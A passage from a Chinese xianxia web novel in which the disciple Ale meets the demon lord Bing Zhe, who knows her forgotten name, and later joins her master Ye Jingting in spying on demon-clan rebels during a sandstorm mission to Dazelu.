“才没有,那是严谨认真。像他那样厉害的人物,哪能成天嘻嘻哈哈的。”叶珊珊脸鼓鼓的,一本正经解释道。
“叶鹤师叔就很爱笑啊!”阿乐道,眼珠子转了转接着道:“哦——你觉得叶鹤师叔、展云师叔、子清师叔都不够厉害!”
叶珊珊连忙追上去,“我没说,我可没说——”
两人也算是投缘,叽叽喳喳说了一路。
说的正开心,忽然阿乐拉住叶珊珊,示意她噤声。
果然前方传来一阵脚步声。
脚步轻盈有力,约莫三四个人,修为均算上乘。难道是外门弟子?也来这里游玩?可这个地方也不是任何人说来就能来的呀,莫非也和她们一般,是悄悄进来的?
那就更不能露面了。
脚步声走近了。
“你这粉抹得也太白了!”
“不多抹一些遮不住啊——”
听着是男声,难道他们有变装癖?
“你要死啊!这角得磨一磨,太明显了!”
“我已经磨过了!”
“不行,你这有鳞片,这里又有角,太危险了!”
“——”
听到这叶珊珊与阿乐对视一眼,这听上去怎么像混血者?
阿乐心中嘀咕,若真是混血者他们怎么会在这?难道是叶鹤他们默许的?
待脚步声从两人面前穿过,叶珊珊摇摇头,对阿乐用口型道:“是妖魔族!”
妖魔族怎么会在这里?阿乐还待再确认,叶珊珊已飞身出去了。
“站住!”叶珊珊双手叉腰,气势汹汹的吼道。
刚走过去的四个人真就定在原地,只是没有转过身。
“你们四个师父是谁?报上名来!”叶珊珊看着四个人背影,露出些许慌张,她也没想到对方这背影看着如此高大威猛。
阿乐站稳后,接着道:“转过身来!”
那四个人才慢悠悠的转过头。
果然没错,是混血者,其中一人面白得像鬼,脖子上隐约看得到鳞片,额头上还有犄角。
两人立马祭出仙剑握在手里,摆好架势随时开战。
其中一个混血者转过头看到一眼阿乐,瞳孔放大,激动的推了推旁边的人,其他人也向阿乐看来,打量了一阵,顿时四人盯着阿乐眼冒精光。
“阿乐,他们——是不是想要吃你啊!”叶珊珊低声道。
阿乐也觉得奇怪,可是那眼神不像是发现食物的眼神,更多是惊喜,就是那种“大白天的我居然见到妖怪”的感觉。
可他们自己不就是妖魔族,还有什么比他们更妖怪的?
阿乐被看得头皮发麻,大声道:“你们看我干嘛!说,你们是怎么进来的!”
见四人还是怔怔的看着自己,手中“雪落”一扔向他们砸去。
四人这才回过神,不但没有祭出武器,还把阿乐的“雪落”捡起来送回来。
瞬间把阿乐团团围住,“是她——就是她!”
“那画像我过无数遍,绝对是她,这生气的样子一模一样。”
“快,快回去禀报魔尊!”
叶珊珊被挤到一旁,一头雾水,道:“喂!尊重一下我啊!这里还有个人呐!”
“胡闹!”阿乐低吼一声,握住“雪落”便把四人弹飞。
“你们到底是怎么进来的!你们知道这是什么地方吗?”阿乐再次吼道。
四人不但没有还手,还一副“好商好量”的模样,搓着手道:“姑娘别生气,我们不是来闹事的。”
“对对。我们只是遵魔尊之命来找人。”
“我们绝对不会对这里做任何坏事。”
见阿乐还是怒气未消,四人整齐抬起左手,中间三指并拢指着天道:“我们发誓,句句属实。”
叶珊珊也不是没有与妖魔族的人打过,从未见过他们这“和气生财”的模样,真是奇了怪了。
“阿乐,小心有诈!”叶珊珊提起剑就往其中白面妖魔砍去。
“啊—”一声闷哼,那人既然未躲开,捂着被刺伤的左臂,脸上白粉簌簌往下掉,露出他满脸的鳞片,“这下你们总相信了吧?”
阿乐与叶珊珊更是一头雾水,他们到底要干嘛?
“阿乐姑娘——”其中一人直接喊出阿乐的名字。
叶珊珊拉过阿乐挡在身后,提着剑指着几人道:“休想对阿乐动手,你可知她师父是谁?”
“是谁?”四人异口同声的问道。
“叶敬亭。”叶珊珊说出这个名字的时候异常坚定与自豪,仿佛说的不是一个人名,而是一个威震四方的法宝。
“哦——”四人面面相觑,瞳孔里的精光更亮了,“那你肯定就是我们要找的人了。”
阿乐越听越迷糊,叶珊珊也听不明白,他们听到叶敬亭的名字怎么会是这个反应?难道不应该是尖叫着逃走吗?
其中一人上前对着阿乐毕恭毕敬道:“阿乐姑娘可否明日这个时间再到此处——”
“你们明日还想再来?今天就把你们都抓起来拷问个明白!”叶珊珊道。
阿乐本想再问几句,叶珊珊提剑已经出招。
毕竟对方四个人修为都不低,她们未必是对手,可这四个人也只是躲闪,并未有伤害她们的意思。
这几招下来,她们也只是略占上风。
阿乐低声道:“我们先回去禀报。”
叶珊珊却打得上头,也不知有没有听到,剑锋一闪又杀了上去。
那白面人上前挡了几剑,在这一瞬间的空挡,其余三人一拥而上,使了个大劲把叶珊珊连剑带人往天上抛去。
须臾间失去重心,叶珊珊惨叫声升起又落下,阿乐连忙飞身而起,在半空中接住了她。
待两人落稳在地上,那四人早已消失不见。
“胆小鬼
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,既然都跑了——”叶珊珊收起剑忿忿道。
阿乐看着前方一片树木葱葱,脑子里还在反复回想着那四人的话。
“你之前认识妖魔族的人?魔尊?”叶珊珊拍拍她,抱着手站在她面前,一脸严肃道。
阿乐左思右想,思来想去,在记忆中搜刮着与妖魔族有交集的回忆,片刻后认真道:“没有啊!我都没见过几次妖魔族的人。”
叶珊珊蹙起眉心,凑近道:“你确定?”
一个模糊挺拔的白影在脑海中一闪而过,还有几张模糊的脸,好似在水中划过的一道波痕,转瞬即逝,阿乐伸手想去抓,却已经消失了。
阿乐摇摇头,随即又点点头,“应该是没有——”
叶珊珊看着阿乐这纠结的表情,轻叹口气,“我们还是先去禀报吧。”
被这一搅合,两人失去了继续探索的心情,也很怕再遇到妖魔族的人,商量一阵还是决定先去禀报。
回去的路上,叶珊珊还在回想最后自己是怎么被抛上天的,“我刚才应该先这样来一招,再这样一挑——”边说边比划着。
阿乐安静的跟在她身后一言不发,逐一分析着那四人说的每一个字。
待后山结界再次合拢,阿乐叫住叶珊珊。
“珊珊——你不想知道他们到底葫芦里卖什么药吗?”
叶珊珊顿住,眯着眼睛看着阿乐:“你不会真认识魔尊吧?”
阿乐搂过她,否认道:“认不认识,明天早上不就知道了吗?”
说罢眨眨眼,耸耸眉毛,搂紧叶珊珊。
叶珊珊犹豫了一会,严肃道:“可是万一,是个陷阱呢?”
“要不这样——”阿乐凑近叶珊珊耳边低声说着,叶珊珊频频点头。
“好吧——那就先不禀报。”叶珊珊道。
阿乐点点头,舒张笑颜道:“下次师父上课,我带你去。”
“真的——真的吗?”叶珊珊眼睛瞪圆,眸光闪烁,一脸向往。
阿乐点点头,道:“那明天咱们一言为定。”
两人再商量了下细节便各自散开了。
阿乐展开手中的纸条又陷入沉思。
方才接住叶珊珊落稳在地,脚下踩到一个大红色的荷包,她悄悄藏起来,打开里面就是这张纸条:“龙知乐。”
自从那天做了那个很长的梦以后,脑子里时不时就会冒出一些模糊的画面,特别是那个挺拔的白影,这个人好似对自己非常非常重要,说不定就是这个梦的“钥匙”,
反正是在清灵山的地盘,总不至于被妖魔族绑了去吧!
打定主意,阿乐心中还是有些惴惴不安。妖魔族出现在清灵山这件事情可不是什么小事,疑点也颇多。
谁都知道,在十几年前天雷降落,烧了不少混血者,那时民间抓混血者联盟四起,不少混血者都被剿灭。可这妖魔族里怎么有那么多混血者?
是怎么进入后山的?
找人?找的就是自己?难道之前她真的认识那个魔尊?
那魔尊怎么会知道自己的真名?莫非是哪里露了信息,知晓自己亦是混血者,想要拉拢?
阿乐抱着隐隐作痛的脑袋,“想不明白,想不明白——”
索性不想了,明日早上就能知道了。
56. 新任务
叶敬亭、叶鹤、叶展云还是没有回来的消息,叶子清一人在清灵山更是忙碌。
阿乐比约定好的时间早了半个时辰来到后山。
既然能知道她的大名,倒是想看看这“魔尊”到底是谁,是不是梦里那个挺拔的白影。
找了一棵茂密大树藏好身,拉起结界屏息以待。
还没等多久,树下有脚步声传来。
“魔尊,昨天就是在此处碰到的阿乐姑娘。”是昨天那个白面人的声音。
“下去吧。”声音低沉,却不熟悉。
只见一个全身黑衣的人已站在了树下,看这身姿倒是挺拔,可也看不清脸呀。
阿乐使劲往旁边又挪了挪,还是只看到头顶。
又往前够了够,能看到饱满的额头了。阿乐使劲伸长脖子向前够去,差一点,就能看到脸了,就差一点——
“啊——”重心一歪,阿乐失衡向树下坠下。
“咚”一声沉闷的声响,看来是暴露了。
“阿乐——”黑衣人喊道。
阿乐睁开眼,一张陌生的脸映入眼帘。
“你是谁?”阿乐道,虽然心里有了答案,还是想要求证一下。
“你先起来,摔伤了没有?”黑衣男子紧张道,大力一拉把阿乐拽了起来。
阿乐揉揉屁股,是有点疼,还好树下长年累月积了许多树叶,并未真的摔伤。
“阿乐——”还未反应过来,已被对方抱住。
“你——你干嘛?”阿乐挣扎起身,反手就是一拳,祭出“雪落”握在手中挡在两人之间。
“阿乐,你不认识我了?”男子疑惑道。
阿乐往后退了几步,凝神再仔细看了眉眼,使劲摇摇头:“不认识。”
男子不顾“雪落”剑锋相向,上前几步,捏着阿乐手腕道:“你不是龙知乐?”
手腕被大力捏得生疼,却也抽不出来,龇牙咧嘴道:“你怎么会知道我名字?你到底是谁?”
男子脸色的疑惑更深了,看到阿乐如此疼痛放开手,抱歉道:“你是龙知乐怎会不认识我呢?”
阿乐看着手腕上留下的红痕,道:“你到底是谁?”
“邴哲。”男子缓缓道。
“邴哲?”阿乐皱着眉又重复了一遍,她确定这是一个非常陌生的名字,眼前也只是一张非常陌生的脸。
邴哲回想起十年间自己四处都打听不到阿乐的消息,如今又在这里遇见,她还做了叶敬亭的徒弟,看来十年前必然是发生了什么事情,让她暂时失去了记忆。这事叶敬亭不可能不知道,那失忆看来说不定对阿乐是件好事。
既然如此那便陪假装不知吧。
“姑娘,你也叫龙知乐啊!啊哟,我方才认错人了,我以为是我一位老朋友。”邴哲换了一副笑颜,眼睛弯成月牙。
阿乐道:“那你是妖魔族的人?”
邴哲搓搓手,笑嘻嘻道:“也不全是,我现在就是个普通老百姓。”
阿乐冷哼一声,道:“当我是傻子?昨日你下属说了,你是魔尊。”
话音落地,“雪落”已扫剑而来,邴哲巧妙用手一档往后飘去。
阿乐刚开始还留了几分情面,慢慢发现对方根本就没有拔剑的意思,难道是不屑拔剑?更为恼怒,吼道:“你看不起我?”
邴哲笑道:“姑娘这是说什么胡话,我们本就不是敌人,为何要拔剑?”
“你是妖魔族,我是清云山,本就势不两立!”阿乐如实道。
“阿乐姑娘,可咱们都是混血者啊。”邴哲不紧不慢道。
阿乐剑锋在空中一怔,现在“混血者”这三个字可不能随便提,他怎么就——而且还主动说出自己是混血者,等等——那他又是怎么得知自己是混血者的?
看来这个魔尊不是善茬,就算月牙弯眼笑眯眯的模样,也不是好人。
抬头看看时辰,与叶珊珊约定的时间差不多到了。
“叶珊珊——”阿乐大吼道。
山中一片寂静。
邴哲笑道:“阿乐姑娘对我不放心,还喊了外援?”
一阵清风从眼前飘过过,邴哲已来到面前,拉起阿乐的手原地转了个圈,开朗道:“阿乐放心,今日我们便交下这个朋友。既然是朋友,哪有伤害之理。”
阿乐被拉着转了两圈头有些晕,看着眼前这张脸,倒是写满真诚。
“阿乐——我们来了——”是叶珊珊的声音。
“你们——你们拉着手在干嘛?”转瞬之间,已有三柄剑飞了过来,把两人拆开来。
叶珊珊飞身而来,站在阿乐旁,拉着她手左看右看,“你莫不是中了他什么阴招?”
阿乐无奈摇摇头,道:“我没事!”
“你都跟他拉手转圈圈了,还说没事?”叶珊珊举起剑对着邴哲,其余又落下五名弟子白衣飘飘,全都剑锋而对。
“抓住魔尊,重重有赏!”叶珊珊一副大义凛然,第一个冲了出去。
邴哲还是一副笑眯眯的笑颜,对着阿乐道:“我先回去了,下次再来找你玩。”
“放肆,这里岂是你说来就来收走就走的地方?”叶珊珊追了几步,邴哲却已消失不见。
“喂!你站住啊!别跑——”叶珊珊喊道。
前方却只有一片郁郁葱葱,再往前就是一道峭壁,没人看到他是怎么消失的。
就如他来时一样,就这样消失不见了。
无功而返。
叶珊珊一路上嘟着嘴,抱着手,对着阿乐滔滔不绝:“你说你,咱们说好的时辰你怎么就提前了呢?人也没抓到,看他来去自如的样子,要是敬亭师叔在,哪能让他那么轻易走。”
阿乐一路上有些心不在焉,实在是太蹊跷了。
可又没有头绪,要是鹤大哥、师父在就好了,起码还能帮忙捋一捋。
阿乐按按太阳穴,耳朵也被叶珊珊吵得疼。
“你怎么就带着五个师弟就来了?不是说好去请你师父的?”阿乐道。
“师父其实也不经常在清灵山。”叶珊珊低头嘟囔道,她也有段时间没有见到师父了。
“那他都去干嘛了?”阿乐好奇道。
“呃——好像是去找什么人。”叶珊珊道。
“哦——”阿乐道,这清灵山清规戒律的,也是无聊,兴许也是个爱热闹的人,就喜欢出去转悠。
只是这妖魔族在后山来去自如,这事关系重大必须要告知叶子清。
看来今日这顿骂是逃不过的了,“珊珊,你要与我一同去——”阿乐“清灵殿”三个字还未说出,只见到叶珊珊的背影。
“阿乐——我今日还有其他事要做,就麻烦您去一趟清灵殿啦——”
阿乐汗颜,无奈的叹了口气,还真是“大难临头各自飞”。
果不其然,阿乐在清灵殿被叶子清说了一顿,本来以为是要被“骂”一顿的,只是被“说”了一些言语间稍微重了一些的话。
叶子清点了人带去后山修补结界漏洞。
阿乐下午去修炼场练了一阵,练来练去终究有些厌烦了,她开始有些想念叶敬亭了,他总是愿意听她说许多话,能开导她许多事。
这两天发生的事让阿乐有些应接不暇,这些信息量太多了,越理越乱。
本来应该是事情越多夜里越睡不着的,可还未到亥时,阿乐已经合衣倒在床榻上睡着了。
这几天本就夜雨多,温度下降得快,阿乐接连打了两个喷嚏,闭着眼在四周摸索着被褥,摸了一圈什么也没找到。
“被褥呢?我记得就在脚边啊。”阿乐嘀咕着,她此时可舍不得醒来,那个挺拔的背影又来梦里了,这次离得很近。
那人负手而站背对着阿乐,阿乐提起裙摆便追着跑去,可是那背影却总是在前方几步就是够不着。
“你倒是转过头来给我看一眼啊。”阿乐在梦里喊着。
清风吹过,吹得那人衣决飘飘,发丝飘拂,“怎么只是
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一个背影也那么好看啊!”阿乐囔囔道。
“阿嚏”又是一个喷嚏。
手还在床边摸索着,忽然双手被一团温暖包裹住,好不容易碰到一团暖,便整个人往前靠去。
“好暖啊——”阿乐以为摸到了被褥,一寸寸拉了过来,直到全身被温暖覆盖住。
梦里的身影微微侧过首,阿乐欣喜若狂,喊的更起劲了。
“阿乐——”
这是阿乐梦里第一次听到那个身影说话,更是激动的喊道:“是我,我是阿乐——”
又把“被褥”抱紧了一些,索性蜷起腿胡乱塞进“被褥”里。
这时,耳边却听到一句:“阿乐——别乱动。”
阿乐有些分不清这是在梦里还是梦外了,嘀咕了一句:“师兄,我没动。”
“被褥”微微一怔,把阿乐往怀里又拢了拢。
阿乐全身暖洋洋的,咂咂嘴,把头往“被褥”上蹭了蹭。
梦里的影子还是没有追上,不过阿乐好歹听到他说话了。
这一夜睡得极其安稳。
就是第二天得知叶敬亭回来了,心情紧张了一些。
急忙换洗好衣服,便冲冲往清灵殿赶去,看通报的师妹模样,他十有八九已经知道后山的事情了。
走之前无意瞟了一眼床榻,奇怪,这被褥怎么是整整齐齐的叠放在床尾呢?
来不及多想便飞身而去。
清灵殿。
还没踏进去,便听到里面有人在说话,“子清啊,这次你可得帮帮二伯。”这声音听着甚是耳熟。
阿乐低着头默默站在人群最后的位置,往殿上偷瞄了一眼,刚巧撞上叶敬亭投来的目光,想到后山的事情,立马移开了目光。
再抬眸,又撞上,以此往复几次都不小心撞上,阿乐心虚的低下头,她知道这不是“不小心”,是师父真的生气了。
心里盘算着等会怎么与叶敬亭交代。
殿上正在热议着,阿乐心里有事,没有仔细听,最后只听到叶子清对着他们这群弟子问道:“此次任务,去大泽陆,有谁愿意前往?”
“大泽陆?”阿乐听到这三个字,眼眸一亮,来清灵山学那么久了,还没有机会检验下学的怎么样呢,而且这是大泽陆,阿爹的老家,没有理由不去啊。
“我去—我去—”阿乐第一个冲了出来,全部目光看来,前面人群也散开自动让开一条路。
阿乐这才看清,那个说话的人原来是二伯伯,龙应。
“阿乐——”龙应亲切的喊着,顿了顿又道:“可是此番有些危险,你要做好准备。”
“龙伯伯,放心,师父教了我很多。”阿乐道。
叶子清看了叶敬亭一眼,见叶敬亭未表态,继续道:“这是很好的一次历练,还有谁愿意?”
叶珊珊以及几个外门弟子也纷纷举起手。
清点了人数差不多够了,叶子清又交代了几句注意事项便让他们几人回去准备出发。
阿乐在散去的人群中看到叶珊珊背影,正想上去说道几句,手臂一紧,整个人被拉住往偏僻处走去。
回头一看是叶敬亭。
“师父,后山——”阿乐决定先发制人,先把事情经过说清楚。
叶敬亭安静听着她说完整个来龙去脉,并没有责备的意思,阿乐暗中松了一口气。
“他还对你说了什么吗?”叶敬亭看着阿乐道。
“没有——就是他叫我龙知乐,然后又说认错了人,最后说什么做朋友、再来找我玩什么乱七八糟的。”阿乐道。
“他为何要拉着你手转圈圈?”叶敬亭语气加重了一些。
“这——我也不知道——可能是因为很开心?”阿乐也不明白他有什么可开心的。
忽然肩膀一沉,叶敬亭双手搭在她肩上,一收手,两人贴近许多。
阿乐看着近在咫尺的脸,稍微往前两人鼻尖便要碰到一起,顿时耳尖发红,道:“师父——”
57. 沙尘暴
叶敬亭也不回应,只是直直看着阿乐。
阿乐被看得双颊发热,快要招架不住,她吞了吞口水又轻声唤道:“师父——”
半晌,叶敬亭才轻叹一口气,嘴角浅笑,低声道:“罢了,千万要注意安全。”
阿乐乖巧点点头,大声道:“师父放心!”
一丝青发飘在额前,叶敬亭顺手帮她整理别在耳后。
阿乐站在原地,待看不到他,才抬起手来使劲按住“怦怦”直跳的胸口,弯下腰才长舒了一口气。
“阿乐——”叶珊珊声音喊来,阿乐回过神,对着她招招手。
“你怎么还在这,快回去收拾下准备启程了。”叶珊珊一路跑来,拉着阿乐就走。
“需要收拾什么?”阿乐不明所以,她们又不需要换衣服,捏个诀便可变幻。
“当然是去饭堂吃饱饭啦!还要带上干粮。我跟你说——赵大厨有个拿手甜品,叫酒酿丸子,可好吃了!”叶珊珊自顾自说了一堆,特别说到这“酒酿丸子”感觉双眼像两簇灵火冒着光。
“酒酿丸子?”阿乐眼中的灵火也被点亮。
转眼间,两人已坐在饭堂中。
“好香啊!里面!居然!还有桂花蜜!”阿乐道。
叶珊珊嘴里塞得满满当当,小碗见底才放下调羹,神秘道:“这是敬亭师叔最爱吃的甜品,还吩咐赵大厨必须要配着桂花蜜。”
“他还喜欢吃甜品?”阿乐把最后一口咽下,好奇道。
叶珊珊点点头,抬起头自豪道:“就是因为他,这道甜品才风靡起来的!”
阿乐若有所思,片刻道:“时辰快到了,带上几个饼快走吧!”
“好好——我要带五个,都不知道要去多久。”叶珊珊道。
“要真去时间久,五个也不够啊!”阿乐揶揄道。
“那带十五个——”
“你是去摆摊啊?”
“到时候肚子饿别跟我要啊——”
“————”
看来这次情况比阿乐想象中的更严峻一些,龙应一行人带队,清灵山浩浩荡荡一队人御剑而行。
叶子清飞行在最前,叶鹤、叶敬亭压队最后。
阿乐与叶珊珊一前一后,飞了一会,阿乐放慢了些速度,对叶珊珊道:“大泽陆发生了什么?”
“听闻那边发生暴乱,混血者与妖魔族起了很大的冲突。”叶珊珊道。
“以龙族实力镇压不了?”阿乐道。
“好像没那么简单,那群混血者修为都不低,还有妖魔族发生了内斗。”叶珊珊道。
此时,叶敬亭从她们身旁飞过,叶珊珊便跟着去了。
阿乐无奈摇摇头,心道:“也对,能经历那场天雷与反混血者联盟洗礼,还能留下来的,那修为肯定都是上乘。可——这妖魔族怎么会发生内斗呢?”
想起在后山遇到的“邴哲”,是他吗?
大泽陆在清灵山东南方向,这一行人一路无休,半天时间也就到了。
阿乐落到地上,一股热浪扑面而来,整个地界安静的不正常。
一道白影落下,众人围拢过去。
是叶展云,他本路过大泽陆准备回去。御剑这里的时候,收到一记求救灵火,就从这地方发出来的。
他仔细辨别过,那记灵火带着清灵山的印记。
这里毕竟是大泽陆,龙族的地界,只好先找了龙御萧说明情况,却发现情况比想象中复杂,这才让龙应到清灵山搬救兵。
“现在找不到那群混血者藏在哪里。”叶展云道。
“妖魔族呢?”叶鹤问道。
“说来奇怪,我看到有两队妖魔族的人在混斗。”说罢,往东、西两个方向指了一下。
“求救灵火谁发出的?”叶鹤道。
叶展云摇摇头。
“混血者。”叶敬亭淡淡道。
此话一出,三人六目相对,似乎达成了某种共识。
叶珊珊拉过阿乐往旁边走去,小声道:“阿乐,你看那边——”
顺着她手指极目望去,果然,有一团烟雾围绕在一起,乍一看看不出什么异常,再仔细看一会,就会发现那团烟雾是用灵力聚在一起的。
“去看看?”阿乐道。
叶珊珊没立马回应,越过阿乐往她身后瞟了一眼,咬着嘴唇没说话。
阿乐回头看了一眼,明白了她的小心思。
“师父,一会怎么分队?我们可以带着珊珊吗?”阿乐跑过去对叶敬亭说道。
叶敬亭侧首,温声道:“别乱跑,这里不安全。”
说罢顿了顿,举起左手道:“把你手举起来。”
“这样举起来就可以了吗?”阿乐不太明白什么意思,只是学着叶敬亭同样举起左手。
叶敬亭一把握住她手掌,轻轻闭上眼,须臾,两人手之间冒出一团淡淡的光。
阿乐惊道:“师父,这是什么意思?”
叶敬亭弯起嘴角,阿乐眼睁睁看着他明明什么也没有动,自己脑海中却收到了信息:“这是密信。”
“好厉害!那我们就算见不到面,也可以说话了是吧?”阿乐尝试着发出密信。
叶敬亭点点头。
不知道是不是因为有了密信,可以随时联系到叶敬亭,还是因为发现了一个好玩的术法,总之阿乐此时有些想上去抱住叶敬亭,当这个想法在脑海里蹦出来的时候,又被这个想法吓到。
“阿乐,不舒服?”叶敬亭关心道。
阿乐摇摇头,往后退了两步,道:“师父,我——我还有事。”
说罢便转身跑了。
叶珊珊不知不觉从身后冒了出来,上下审视阿乐,低声道:“你们刚才在干嘛?”
阿乐拍拍脸,假装镇定道:“什么在干嘛?”
叶珊珊左右两只手握在一起,耸耸眉毛,道:“你们俩很奇怪——”
阿乐刚要开口辩驳两句,突然,一声巨响在前方炸开。
一阵沙尘四起,很快一阵烟尘淹没了这块地方。
叶敬亭密信传来,“阿乐小心—”
半晌,没有收到回应,叶敬亭环视四周,全都是灰蒙蒙一片,又接连传了几次。
“师父,我没事。就是看不清——”,阿乐终于回应。
“你在哪?”叶敬亭道。
“我不知道,我好像往南走了一段,不对,是向东南方向。”阿乐想要找一些可以有辨别的东西,却一无所获。片刻后,掌心亮起灵火,注入灵力,闪起一道亮光。
“师父,你看到我了吗?”阿乐也怕招惹到妖魔族的人,只敢迅速的闪了一下。
“嗯。你别动。”叶敬亭回道。
“好,师父。”阿乐回道。
不远处传来打斗声,不过片刻,声音越来越近。
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阿乐不敢乱动,竖起耳朵仔细辨认。打斗声此起彼伏,看来不止一队人在乱斗。
这时吹过一阵风,糊了一脸沙,阿乐背过风吐了口嘴里的沙。
霎时,阿乐感到有人靠近,试探性道:“师父?”
手腕被抓住,往前方拖去。
“师父,我们要去哪?”阿乐以为是叶敬亭,任凭被拉着跑去。
跑了一会,沙尘落下了些,眼前逐渐明朗起来。
这才看清了,牵着自己的人一身黑衣,头发高高竖起,随着走到在脑后一荡一荡,这不是师父啊!
“你是谁?”阿乐急忙甩开对方,祭出“雪落”握在手里
那人转过身,看到阿乐的脸便不挪开眼,紧紧盯着阿乐。
阿乐虽感奇怪,却不觉得眼前的人对她会伤害她,刚才是他带着自己跑出沙尘的。
收回仙剑,看着眼前男子泛红的眼眶,小心翼翼道:“那个——刚才谢谢你。”
眼看着对方泪珠快要落下来了,阿乐有些手足无措,又道:“我是不是长得很像你的某个朋友?”
男子吸吸鼻子,抬手擦了眼角,点点头。
“刚才谢谢你。我叫阿乐!”阿乐伸出手,在半空中停了一会。
男子顿了一会,才伸出手握住半空中的手,道:“平安。”
“那些是妖魔族吗?”阿乐问道。
“嗯,妖魔族在内斗。”平安道。
“那你是混血者?”阿乐道,这里除了妖魔族那便是混血者了。
平安嘴角上扬,笑道:“算是吧,也不全是。”
阿乐有些不明白,想多问两句,又觉得自己有些冒昧,也就罢了。
“你想不想去村里看看?”平安道,眼睛亮晶晶的闪着,似乎那个地方很值得去看。
“可是——”阿乐想起来师父还在找她呢,果然叶敬亭密信来了,“你在哪?”
“师父,我遇到一个人,他方才带我跑出沙尘。”阿乐回道,顿了会,想了想措辞又接着道:“他好像是个混血者。”
最后一个字才说完,便收到回应:“叫什么名字?”
“平安。”阿乐道。
半晌不见叶敬亭回应,又道:“师父,那我先回去找你吧。”
刚发完,空中一道劲力劈下。
阿乐迅速闪开,就在方才她的位置,炸出一个大坑。
看来这人是冲着她来的。
平安冲出来拦在她前方,盯着半空中飘然而下的黑影。
“不自量力。”黑影道。
平安冷哼一声,祭出武器握住,横在胸前,转眼间已冲了出去。
看着平安挥舞剑锋的背影,阿乐愣了一瞬,随即眉眼一沉,灵力灌满“雪落”便提剑刺去。
两人对一人,那黑影慢慢失去优势。
阿乐想要活捉一个,起码多少能获得一些信息。提着“雪落”招招刺去,却又避开要害部位。
这样乱斗了一会,对方也觉察到了她意图。
掌心炸起一个红烟火,眨眼间便往空中窜了出去。
平安在半空拦截了一下,没拦住。三人看着烟火在空中炸开,一声闷响。
“不好。”平安转身想要去拉阿乐,却已经被沙尘团团围住。
新一轮沙尘席卷而来。
“师父——”阿乐再次淹没在沙尘中。
58. 右使
“咳咳咳——”满口都是沙子。
阿乐在一片灰蒙蒙中四处摸索,除了风神听不到别的声音。
“你在哪?”叶敬亭传来密信。
阿乐四周都是尘土,辨别不出位置,更何况她也对这里不熟悉。
“师父,我不知道,全是沙尘——”阿乐道。
“轰隆”又是一声巨响,这次不是空中,是底下传来的。
大地一阵摇晃,阿乐险些没站稳,半蹲下调整重心才勉强站稳了。
“阿乐——阿乐——”听到有人在喊自己的名字,听声音是刚才那个救她的人。
“我在这——”最后一个字才落,脚下一空,大地既然裂开一条大缝,阿乐连人带剑整个都往下落去。
阿乐看着地缝越来越小,四周从灰蒙蒙变成一片黑暗。
手中捏诀,身体往上升了一点,下面一道气流自下而上,围绕在阿乐身旁,“雪落”感到危险,在这股气流中搅了一阵,这气流无实体,自然是刺不到的。
看着地缝快要合上了,恐慌感油然而生,“师父——师父——”
慌忙间,地缝只剩一点亮光。
阿乐伸出手想要抓住,手指在空中只是徒劳的抓了把空气,直至那点亮光完全消失。
忽然,一股灵力袭来,本来已经合上的地缝生生被扯开。
“阿乐——”叶敬亭声音传来。
看到在地缝上方出现的脸,阿乐惊喜道:“师父——”
围绕在身边的气流忽然加速,阿乐被气流裹挟着往下坠去。
不知下落了多久,终于到了底。
气流缓了下来,把阿乐整个横向裹住,稳稳停在地上。
一片漆黑,目光所及之处都是黑暗。
在黑暗中摸索了一阵,摸到一块坚硬的石头,顺着石头摸去,被一块坚硬的石壁挡住。
石壁摸上去有些湿湿的,凹凸不平的触感。
摸着石壁走了一段,墙壁传来一些温感,眼前露出暖黄色的一点,再往前,传来一阵欢呼声。
双眼适应了黑暗,这亮光晃得眼睛有点睁不开眼。
一阵脚步声由远及近,阿乐蹲下身,想躲在石壁后,在慌乱中转错了方向,身子靠下却没有石壁,整个人往前摔去。
须臾间,一个人影晃过,阿乐扑在那人怀里,被单手抱起往旁边藏去。
一切发生得太快,还没反应过来,熟悉的气息便传来过来,“师父!”
“嘘——别出声。”叶敬亭搂住阿乐,在她耳边低声道。
阿乐乖乖闭上嘴,手不自觉拉住叶敬亭手,待脚步声走过,侧过头往光亮处看去。
“师父,他们好像在聚会。”阿乐趴在叶敬亭胸口,抬起头悄悄道,头发来回扫到叶敬亭下巴。
叶敬亭手指在袖口慢慢收拢,嘴角微不可查的弯起,微微颔首。
两人静待了一会,里面的声音越来越激昂。
阿乐趴在叶敬亭耳边说了几句,叶敬亭手里捏诀,转眼两人已换了一套黑衣,完美融入其中。
两人悄然绕到人群后边,并没有人发现有任何异常,都在大声喊着口号:“报仇!报仇!”
声音一浪接着一浪。
上边正在说话的那人,不就是刚才袭击阿乐那个人吗?
她正站在一块大石头上,手里端着一杯酒,大声对着下面道:“大家都记得他是怎么杀死魔尊再登上那个位置的吧?”
下面人群齐声大喊道:“记得!”
“魔尊平时待他不薄,万分信任他,才会让他奸计得逞。”那人继续道。
下面鸦雀无声,旁边几人脸上甚至挂上了泪痕。
阿乐侧首看了一眼,石头上的人又继续道:“他只是区区左使,他怎么敢弑君夺位?”
“杀了他,杀了他!”一时间群众激情高昂,摩拳擦掌,现在只想要把那个“左使”扒皮抽筋,一刀刀刺死。
“师父,这个左使是谁?”阿乐发出密信。
“妖魔族的左使。”叶敬亭回应道。
“那大石头上那人也是妖魔族的?”阿乐继续道。
“右使。”叶敬亭道。
阿乐恍然大悟的表情,原来是因为左使杀了魔尊,现在右使要替魔尊报仇,那“邴哲”也是妖魔族的人,难道他就是左使?
阿乐回首看了一眼叶敬亭,叶敬亭似乎猜到了她想说什么,点点头。
“杀死邴哲!为魔尊报仇!”
看来阿乐猜的没错。
右使把杯子里的酒一仰而尽,大家低头静默。
片刻后,人群喊着“报仇!报仇”便往外走去,阿乐手被叶敬亭牵住,才幸免于被人群裹挟而走。
“师父,我们不跟着出去吗?”阿乐发出密信。
叶敬亭把阿乐拉到自己身旁,牢牢握紧她手,才跟着人群一起出去了。
走了一会,又回到了地面上。
沙尘已经散开,大泽陆上明亮一片。
本想趁乱离开,两人偏偏走在队伍中央,四处都是妖魔族的人。只好继续向前走去。
走了半盏茶的时间,来到一个峭壁,下面是一条狭长的小道。
“师父,他们这是在埋伏?”阿乐扭头看到叶敬亭正紧跟在她身后,手掌被牢牢握住,耳尖烧起一点红。
“没事吧?”待叶敬亭手覆上额头,阿乐想自己现在脸一定很红,“师父,没事——就是走的有些热了。”
这时,一妖魔人从两人背后伸出头,做了“嘘”的手势,瞪着眼恶狠狠道:“还想不想报仇了?别说话!”
两人立马禁声蹲在树丛中,观察着小道。
片刻后,一队人果真来了。
带队的人戴着面具遮住半张脸,仔细辩去,似有几分“邴哲”的模样。
